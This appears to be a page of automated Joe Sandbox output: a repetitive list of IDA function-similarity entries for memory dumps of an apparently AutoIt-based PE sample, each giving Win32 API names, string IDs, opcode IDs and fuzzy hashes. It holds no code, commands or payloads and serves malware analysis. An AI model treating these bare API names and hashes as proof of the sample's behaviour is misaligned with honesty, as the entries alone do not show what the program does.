                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Rect$Client$Window$MetricsScreenSystem
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3220332590-0
                                                                                                                                                                            • Opcode ID: d8f977ea4750bda3b048e49f0aa9ed333f17e400e230103ea3ed7eb9902d4993
                                                                                                                                                                            • Instruction ID: 3be9d12021c659eca55e0aa75cf960ad5530555a980317f17849b5e586e925ec
                                                                                                                                                                            • Opcode Fuzzy Hash: d8f977ea4750bda3b048e49f0aa9ed333f17e400e230103ea3ed7eb9902d4993
                                                                                                                                                                            • Instruction Fuzzy Hash: 42A1C37AA182938AE7348F7684447BD33B1FF45B98F141536EE19D7A98EE3D9840E310
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _invalid_parameter_noinfo
                                                                                                                                                                            • String ID: f$p
                                                                                                                                                                            • API String ID: 3215553584-1290815066
                                                                                                                                                                            • Opcode ID: 6085b62d98b7eab37ce0c073fe453d3efb4bb7d0cdd32a8db3e6aa1a08046eff
                                                                                                                                                                            • Instruction ID: 17f598e54c8c78f62c648af68e89eda8af0d455002ecd56850dc527fcffe74a8
                                                                                                                                                                            • Opcode Fuzzy Hash: 6085b62d98b7eab37ce0c073fe453d3efb4bb7d0cdd32a8db3e6aa1a08046eff
                                                                                                                                                                            • Instruction Fuzzy Hash: 55127F32E1825386FF309F14A04677A7662FB42BB4F944272D799866CCDF3DE6809B01
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Filewcscat$FullNamePath$AttributesMoveOperationlstrcmpi
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 564229958-0
                                                                                                                                                                            • Opcode ID: 35062434fee54acf94d2c2a036a69dc928caf6f380b06f8f0a879a9cbd16691f
                                                                                                                                                                            • Instruction ID: 9edb4ad954e08b0ebe9efcbf0f2840c8f871bdc270da8ff14d93c69cc0a2622a
                                                                                                                                                                            • Opcode Fuzzy Hash: 35062434fee54acf94d2c2a036a69dc928caf6f380b06f8f0a879a9cbd16691f
                                                                                                                                                                            • Instruction Fuzzy Hash: D7515532A14A8295EB30DF60D8902ED6364FF95BC4F800172EA4D9769EDFA8E749C740
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: %.15g$0x%p$False$True
                                                                                                                                                                            • API String ID: 0-2263619337
                                                                                                                                                                            • Opcode ID: 3df143d41b72c37e8d3401a32f1c040a903f4fba463ccff2488bc58be4e83188
                                                                                                                                                                            • Instruction ID: 53ab62f33709693129620a9c3b963be34bebd6bf6a078beca3cdcf578bb46815
                                                                                                                                                                            • Opcode Fuzzy Hash: 3df143d41b72c37e8d3401a32f1c040a903f4fba463ccff2488bc58be4e83188
                                                                                                                                                                            • Instruction Fuzzy Hash: 9F518832B09A0285EB30DF69E4441BC33A5FB96BD8F1485B5DA1E87B9DDE39E505C340
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: PaintWindow$BeginClientLongRectRectangleScreenViewport
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2592858361-0
                                                                                                                                                                            • Opcode ID: 55256b84f857a58467b122c2e0110198eeb840c0349577806b29d092c26582af
                                                                                                                                                                            • Instruction ID: e24e123ed197ba832108b087f8ef8fdc5d9270b145d643d3d70a314bb6d32598
                                                                                                                                                                            • Opcode Fuzzy Hash: 55256b84f857a58467b122c2e0110198eeb840c0349577806b29d092c26582af
                                                                                                                                                                            • Instruction Fuzzy Hash: 9F516A36B0869686EB309F15E4447BD27A0FB8AFD4F1442B5CAAD87B99CF7CE4419700
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Thread$CloseCreateErrorFreeHandleLastLibraryResume_invalid_parameter_noinfo
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2082702847-0
                                                                                                                                                                            • Opcode ID: a458dfd9bfd9b277759dc90733565293cd25b8068806620b860b1285bf48ee5e
                                                                                                                                                                            • Instruction ID: a4eb753ea832ea209bf4579611894a012e2381928db9e988af9478d2cd752503
                                                                                                                                                                            • Opcode Fuzzy Hash: a458dfd9bfd9b277759dc90733565293cd25b8068806620b860b1285bf48ee5e
                                                                                                                                                                            • Instruction Fuzzy Hash: 3A218E35A09B4682EE349F60A4102796290EF86BF4F5407B4DA3D86BDCDF3CE4048610
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CapsDevice$Release
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1035833867-0
                                                                                                                                                                            • Opcode ID: db491a3267b275339f548d81dbee8ecebd291c24a581f1a9e6271a89bb132f3c
                                                                                                                                                                            • Instruction ID: 64b9b192bf5b04b619f431de32cce91b57f848b1573e81f77277357041eb03bf
                                                                                                                                                                            • Opcode Fuzzy Hash: db491a3267b275339f548d81dbee8ecebd291c24a581f1a9e6271a89bb132f3c
                                                                                                                                                                            • Instruction Fuzzy Hash: 2F11A039B14B0182EB28DF65A8480297BA5FF89FC0F018079CE1E87B98DE3DE8018700
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 839392675-0
                                                                                                                                                                            • Opcode ID: 8de778dfa191c13712f893bc864b87f9ca3b199504ecf632adb079649907a02e
                                                                                                                                                                            • Instruction ID: 71c1289da0681fe55e1165f9c4c51335f1628c5be76b2754f764fc42b5c07162
                                                                                                                                                                            • Opcode Fuzzy Hash: 8de778dfa191c13712f893bc864b87f9ca3b199504ecf632adb079649907a02e
                                                                                                                                                                            • Instruction Fuzzy Hash: 32018F3AA1974183EB20AF25E804A29B761FF8ABD5F455034CA0A46B18DF3CD1488B00
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Thread$CurrentProcessWindow$AttachInputMessageSendTimeout
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 179993514-0
                                                                                                                                                                            • Opcode ID: 3c8edd0cfd7487a94cc2a97b78295d5ab7e6e6e303c53cb727e1080bae55b3ee
                                                                                                                                                                            • Instruction ID: 3f629bdb24d2f0e01744a546b86e41d30df68426cc8d1959dd0b7de4d393b3b9
                                                                                                                                                                            • Opcode Fuzzy Hash: 3c8edd0cfd7487a94cc2a97b78295d5ab7e6e6e303c53cb727e1080bae55b3ee
                                                                                                                                                                            • Instruction Fuzzy Hash: 09F0C834F1871143F7746F71A848B6966D2FF89BC4F844074DA0E82B58DF3CD0859600
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: FreeFromProgTask$BlanketConnectConnection2CreateInitializeInstanceOpenProxyQueryRegistrySecurityValuelstrcmpi
                                                                                                                                                                            • String ID: NULL Pointer assignment
                                                                                                                                                                            • API String ID: 1653399731-2785691316
                                                                                                                                                                            • Opcode ID: 069250944c4b5cae8d9ba027fcc4337deb9b93f0114834e2bf5349901f1538a4
                                                                                                                                                                            • Instruction ID: 7e4a2f23923695432854e5325879244f0d7ee031470eeaf741a239d3cb71b545
                                                                                                                                                                            • Opcode Fuzzy Hash: 069250944c4b5cae8d9ba027fcc4337deb9b93f0114834e2bf5349901f1538a4
                                                                                                                                                                            • Instruction Fuzzy Hash: 69B17976A08A418AEB20DF61D8802AD7BB0FB897D8F500176EE4D97B58DF38E545CB44
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Variant$ClearInit$BuffCharCopyUpper
                                                                                                                                                                            • String ID: AUTOIT.ERROR$Incorrect Parameter format
                                                                                                                                                                            • API String ID: 4237274167-1221869570
                                                                                                                                                                            • Opcode ID: 547064277256a578b14e90cf15900b857c5a7bc6aa9a77bb28066ad4bccadfc1
                                                                                                                                                                            • Instruction ID: 5fb70c8db2b8ea076b52732a7e337594dc7d94a9dde21346c1a049932799af75
                                                                                                                                                                            • Opcode Fuzzy Hash: 547064277256a578b14e90cf15900b857c5a7bc6aa9a77bb28066ad4bccadfc1
                                                                                                                                                                            • Instruction Fuzzy Hash: C5917976B08B42C5EB20EF65E4802AD33A5FB8ABD8B4544B2DE4E97759DF38E405C344
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: BuffCharUpper
                                                                                                                                                                            • String ID: APPEND$EXISTS$KEYS$REMOVE
                                                                                                                                                                            • API String ID: 3964851224-769500911
                                                                                                                                                                            • Opcode ID: e386f8ab1d92894773db659cf3300b3f053d0d71c47061b204d1c004bb332453
                                                                                                                                                                            • Instruction ID: 1680f357b999826720475b9537ac3345cc55d1fb93baf1986a4c9329985d5e63
                                                                                                                                                                            • Opcode Fuzzy Hash: e386f8ab1d92894773db659cf3300b3f053d0d71c47061b204d1c004bb332453
                                                                                                                                                                            • Instruction Fuzzy Hash: 3641A332B19A53C1EAB04F358885179A3A5EB66BD4B544671CE9DC3798EE3DF9428300
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _invalid_parameter_noinfo
                                                                                                                                                                            • String ID: #$E$O
                                                                                                                                                                            • API String ID: 3215553584-248080428
                                                                                                                                                                            • Opcode ID: d3d7a61e74d4108eabe1bc636e3d6f208025dc38477a0a881e01c4be7aab7093
                                                                                                                                                                            • Instruction ID: 2077972a495e33cf4a8d3a3f211f61c6938f961cab95d43a9d37bae65cffa3bd
                                                                                                                                                                            • Opcode Fuzzy Hash: d3d7a61e74d4108eabe1bc636e3d6f208025dc38477a0a881e01c4be7aab7093
                                                                                                                                                                            • Instruction Fuzzy Hash: 85416932A19B5185EF618F6198406BA23A4FF56BD8F184071EE5E87B9DEF3CE441CB00
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: FileFullNamePath$MoveOperationlstrcmpiwcscat
                                                                                                                                                                            • String ID: \*.*
                                                                                                                                                                            • API String ID: 3196045410-1173974218
                                                                                                                                                                            • Opcode ID: 19a9c623901bedbfdd4e3d81bd8b065a0a92971c24d4d3071b995089b4c63289
                                                                                                                                                                            • Instruction ID: b0ca1a2e0687bac9a6a0e20833e4251d0b876385f1dc931be1532c0af68ef617
                                                                                                                                                                            • Opcode Fuzzy Hash: 19a9c623901bedbfdd4e3d81bd8b065a0a92971c24d4d3071b995089b4c63289
                                                                                                                                                                            • Instruction Fuzzy Hash: 88410C32A1864295EB30DF64D8901FE6764FF9A7C8F840075DE4D93A9DEF28EA09D740
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessageSend$ClassName
                                                                                                                                                                            • String ID: ComboBox$ListBox
                                                                                                                                                                            • API String ID: 787153527-1403004172
                                                                                                                                                                            • Opcode ID: 50f1d75fbf58418a8b746d3a4e6e520a523a5a635b2cd0adfcd1e093ce64af6b
                                                                                                                                                                            • Instruction ID: f0d0657d0b43d2886baeee7037b0954f97c4728f84042f9ec9049385a74452c1
                                                                                                                                                                            • Opcode Fuzzy Hash: 50f1d75fbf58418a8b746d3a4e6e520a523a5a635b2cd0adfcd1e093ce64af6b
                                                                                                                                                                            • Instruction Fuzzy Hash: A1319136A0964286EA34EF11E4525B973A0FF86FD4F4441B1DE9D87799CE3CE606D700
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3113390036-3916222277
                                                                                                                                                                            • Opcode ID: fe032384e3ae49ab6650df1e9e36687832eb56e7d0293f7a573cd5f7425b5e8f
                                                                                                                                                                            • Instruction ID: 351dfab258efc8f5c18d6622927228b8d19c4101169d171b98bfdd5801d24f21
                                                                                                                                                                            • Opcode Fuzzy Hash: fe032384e3ae49ab6650df1e9e36687832eb56e7d0293f7a573cd5f7425b5e8f
                                                                                                                                                                            • Instruction Fuzzy Hash: 9E31B236A1C68286FF709F15A454AAA67A0FB86BC1F5C9171EF4D97B4DDE3CD4028B00
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
